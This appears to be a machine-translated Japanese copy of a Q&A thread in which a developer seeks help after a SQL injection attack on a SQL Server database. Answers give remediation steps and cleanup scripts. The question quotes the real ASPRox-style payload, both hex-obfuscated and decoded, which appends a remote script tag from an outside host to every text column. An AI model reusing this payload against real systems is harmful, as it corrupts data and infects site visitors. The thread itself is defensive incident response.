web-dev-qa-db-ja.com

助けて!本番DBはSQLインジェクションされました!

重複の可能性:
サーバーがハッキングされた緊急

おいおい、必死だ!数時間前、私たちの本番DBはsql-injectedでした。

私はシステムにいくつかの大きな穴があることを知っています...私たちがクラシックASPでそれをやった男からウェブサイトを継承したので、彼のプログラミングは本当にひどくて安全ではありませんでした。したがって、ASP.NETへの移行に少し時間を費やしました(最初は1.1、次に2.0、そして現在は3.5)。しかし、これは大きなプロジェクトであり、古い安全でないコードがまだ残っています。私はうそをつくつもりはありません。プロジェクトはめちゃくちゃです。嫌いですが、それは私たちの最も重要なクライアントです(私たちは2人の若い男で、大企業ではありません)。

だから私は彼らがいくつかのjsスクリプト参照を私のdb全体に何らかの形で注入したことを知っています...それはおそらく、連結された文字列のsqlクエリを使用し、dbに直接スローする古いページを介していた(プロジェクトを開始したその人が言ったので、「ストアドプロシージャは't work' .....そこで、彼はサイト全体を文字列連結を使用して実行し、安全性検証などを行わずにSQLに直接投げました。

私たちがプロジェクトを入手したとき、クライアントは老人がしたがらくたをやり直すことに時間を費やしたくありませんでした。つまり、クライアントが望んでいたので、新しい機能を開発するときに、安っぽくて安全でないコードを作成して修正する必要がありました...そして、SQLインジェクションを行ったので、当然、クレイジーになります。

そう....

**過去X時間に実行された古いSQLクエリを確認する方法はありますか? SQLプロファイラーの動作に似ています(もちろん、攻撃が発生したときにプロファイラーを開いていませんでした)。脆弱なページを見つける方法はありますか?助けてください、たくさんのページがあります。どちらがページであるかを確実に知らなければ、手動で検索することはできません。

また、...データベースを挿入できる別の方法があるでしょうか? IIS requestまたはjs or something?**

私はサーバーマシンへの完全なリモートデスクトップアクセスを持っています(ホストされた環境にはありません)ので、サーバー上のすべてのファイル、ログなどにアクセスできます...

助けてください!

PS:すみません、私の英語はあまり上手ではありません。

[〜#〜]編集[〜#〜]

  • Windows 2003サーバー
  • SQLサーバー2005
  • ASP .NET 3.5

彼らが投げているスクリプトは次のとおりです

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

テキストに翻訳されるのは:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
26
emzero

最初にすることはパニックではありません。しかし、あなたはそれをスキップして、

2つ目は、サイトを停止し、何が壊れているかがわかるまで外部からアクセスできないようにすることです。アクセスログを見て、主な問題が何であるかを見つけてください。

3番目に行うことは、DBを定期的にバックアップして、ロールバックを実行するかどうかを確認することです。一部のデータが失われる可能性がありますが、現在よりも良い場所にいることになります

4番目にすべきことは-絶対にしない-どうやらそれは安全ではないのでURLを与えてください

24
ist_lion

UrlScanの最新バージョンを必ずインストールしてください。この種の攻撃に踏み込むように設計されています。

IISログがある場合、エントリポイントはかなり明白であるはずです。ハッカーが攻撃しているログを探します。

別の優れたバックストップは、可能であれば、WebユーザーアカウントへのINSERTおよびUPDATE権限を拒否し、代わりにストアドプロシージャを介してパンチすることです。このようなバックストップにより、これがゼロデイ攻撃であったときに、同様のレガシーアプリで同様の問題が発生するのを防ぐことができました。

PUBLICユーザーがテーブルをスキャンする権利を削除することもできます。これにより、 "foreach table"スタイルの攻撃を防ぐことができます。

16
Wyatt Barnett

参考までに、これはASPRoxボットSQLインジェクション攻撃の成果です。侵害されたシステムが見つかるとかなりバイラルになるため、時々それが表面化するようです。 「ASPRoxボット」を探し回って、いくつかの追加のクレンジング方法とさらなる予防処理を取得できます。私はたまたま発見しました このPDF その戦術の素晴らしい概要といくつかのクリーンアップオプションへのリンクを含むファイル。

問題は、ウイルス/インジェクションモデルが基本的にすべてのデータベーステーブルのすべてのテキストフィールドを取得し、指定されたURLを呼び出す小さなスニペットを挿入して、他のWebクライアントに感染させ、サイトにアクセスするゾンビを作ろうとすることです。 。

したがって、適切なクレンジングを実行するために必要なデータベースを含むデータベースだけでなく、問題のサーバー上のすべてのデータベースを必ず確認してください。

ここでの提案は正しい方向に進んでいるようですが、ウイルス名への「正式な」参照があると、追加のニーズに役立つ場合があります。

10
Dillie-O

まず、それ以上のインジェクション攻撃を防ぐために、サイトをシャットダウンする必要があります。

次に、セキュリティ監査を実行して、現在のログとシステムに設定されているセキュリティを特定し、攻撃者がどのように侵入したかを特定する必要があります。

第3に、少なくとも侵害された領域にロギングとセキュリティを導入する必要があります。ポケットベルなど、すぐに通知する侵入を検出するシステムを導入します。

第4に、ダウンタイムはセキュリティを無視した結果であると経営陣に通知します。

9
Paul Sonier

IISログをチェックして、注入に使用されたページを確認します。言うまでもなく、そのページをすばやく修正または無効にする必要があります。

最善の方法は、サイトのタイプによって異なります。可能な場合は、汚染されていないデータベースを復元するか、変更を元に戻す(詳細なログが必要)まで、サイトを停止します。その後、問題を修正する時間があるまで、サイトを読み取り専用モードに戻すことができます。 SQLアカウントをSELECTのみに制限するだけです。

クエリ文字列を連結する場合でも、少しの労力でかなり安全にすることができます。すべてのASPファイルでSELECTやUPDATEなどのキーワードを検索すると、すべてのクエリが表示されます。すべてのパラメーターを基本的な健全性チェックで囲んで、最初に開始します。

あなたはおそらく急いでいるので、いくつかのreally古いASP私のVBScriptコードを見ることができます。安全なSQLステートメントの作成に役立つSafeSqlWhatever関数がたくさんあります。保証はありません。公開することは意図されていませんでした。ただし、すべての変数の入力をSqlVar(someValue)関数に置き換えますSqlVarが追加するため、クエリ文字列の残りの部分から一重引用符を削除する必要があります。または、期待する値のタイプに固有の関数を使用します。

前:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

後:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS:いいえ、これは本来あるべき姿ではありませんが、たぶん現在の場所から正常に動作するように戻すのが最も速いです。

3
Thorarin

クエリを追跡することに関する元の質問に答えようとする私は反対方向からそれを行うことを考えましたが、サーバーがリセットされていない場合は、クエリキャッシュからすべてのクエリをプルし、実行されたクエリを表示しますまだキャッシュにあります。

SELECT  ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement
    ,execution_count
    ,(total_worker_time / 1000) as total_worker_time_milli_s
    ,(last_worker_time / 1000) as last_worker_time_milli_s
    ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s
    ,min_worker_time
    ,max_worker_time
    ,last_execution_time
    ,qp.query_plan
FROM 
    sys.dm_exec_query_stats qs 
    CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2  
    CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp
WHERE
    s2.objectid is null
ORDER BY
    total_worker_time desc
3
Andrew

ログを有効にしている場合、IISにはいくつかのログがあり、どのページにアクセスしたかに関するヒントが得られる場合があります。ウェブサイトの設定で確認できます。

2
user20202

最初に、アプリケーションのsqlユーザーがデフォルトで読み取りアクセスのみを持っていることを確認します。挿入/更新/削除のアクセス権が必要なテーブルのみに追加します。

データベースから.js参照を削除する必要がありますか?このスクリプトをしばらく使用して、すべてのテーブルのすべての.js参照を削除しました。 Isは、データベースのグローバルな検索/置換です。これが表示されている.js参照を入力します:PLACE BAD Java SCRIPT CODE HERE

DECLARE @T varchar(255),@C varchar(4000)   
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)   
OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C  + '] LIKE ''%.js%'' ')
FETCH NEXT FROM Table_Cursor1 INTO @T,@C END   
CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1    

DECLARE @T varchar(255),@C varchar(4000)    
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)    
OPEN Table_Cursor    
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD Java SCRIPT CODE HERE'','''')')     
FETCH NEXT FROM Table_Cursor INTO @T,@C END      
CLOSE Table_Cursor DEALLOCATE Table_Cursor
2
James Lawruk

通常、ハッカー(多くの場合ボット)は、SQLインジェクション(クエリ文字列を検索するために「inurl:.aspx?」または「inurl :? id = ")。次に、インジェクションの脆弱性を自動的にテストします。エントリポイントを見つけたい場合は、同様のクエリをgoogleにフィードし、インデックスに登録されているクエリ文字列サイトを確認することをお勧めします。

次に進むと、これらのスクリプトは通常、実行中のスクリプトがsysobjectsにアクセスできることを望んでいます。これが発生した場合(おそらく、そうでない場合、インジェクションの脆弱性は単にインジェクトされたコードがある場所であると見なすことができます)、スクリプト全体を1回記述しました。これにより、データベース全体で特定の値を検索します。それはここにあります:

http://pastebay.com/28400

バックアップがない場合(これはやや絶望的な調子で想定しています)、そのスクリプトを使用して、挿入されたすべての列を見つけることができます。また、少し変更するだけで、これらの注入を取り除くこともできます。

環境を復元するためにこれだけです。その後、それが再び起こらないことを確認するタスクが続きます。あなたはthatに急いでいません、あなたが注射した人はおそらくランダムにあなたを襲い、すぐに再試行する可能性は低いですが、これから教訓を学び、それを優先課題にしますとにかく。

サイトのセキュリティ保護については、脆弱性の場所に関するヒントを取得するGoogleの方法については既に説明しましたが、実際には、SQLクエリを1つずつストアドプロシージャに移動するタスクに直面するときです。 、またはOR/M、または何か。それが終わったら、厄介なソースを片付けるのはかなり遠いでしょう。

2
d.

脆弱性があることがわかっている場合は、Webアプリケーションファイアウォールを使用することを検討する必要があります。そうすることで、レガシーアプリケーションを書き換えたりチェックしたりせずに、アドホックでセキュリティを向上させることができます。

これは完全なソリューションではありませんが、特定の状況では、一度に大量のセキュリティの脆弱性を修正するための迅速な方法になります。

1
0xA3
  1. パニックにならないでください。
  2. ウェブサイトをメンテナンスします。
  3. 適用されたSQLインジェクションを逆にします。
  4. h0leを修正します。
  5. サイトをオンラインに戻します。
1
Peter Krumins

それが可能かどうかはわかりませんが、知識のある人が手助けする必要のある詳細を提供していません。

  • データベースエンジンは何ですか? (バージョン番号を含む)
  • あなたのウェブサーバーは何ですか? (おそらくIISですが、どのバージョンですか?)
  • あなたのお気に入りは何ですか... nvm

しかし、スタックの特定のアプリケーションとバージョン番号は、これを誰かが答えられるかもしれない質問に変えます。

この情報を提供できる標準SQLには何もないため、特定のベンダーの拡張機能や管理ツールを探しています。

0
user10357

これは難しい問題です。攻撃が何で、何が行われたかを理解するために、SQLではなくIISログを調べます。攻撃によっては、IISログには、sql-injectionが正確に何であるかが示される場合があります。

そうでない場合は、すぐにIISロギング(およびSQLロギング、およびその他のロギング)をできる限り高くします。攻撃者は依然として攻撃を続けている可能性があり、追跡する必要があります。彼が何をしているか、そしてできるだけ早く彼のアクセスポイントを遮断し始めます。

幸運を!

0
abelenky

サイトを停止して、もう一度1つずつ作業を開始してください。いったん妥協すると、システムに入るのは簡単です。

パートタイムのソリューションは、将来的に事態を悪化させます。

0
user5484

また、このハッカーがDB内のすべてのデータのコピーを持っていると想定する必要もあります。個人情報が含まれている場合は、関係者に通知する必要があります。

0
Jared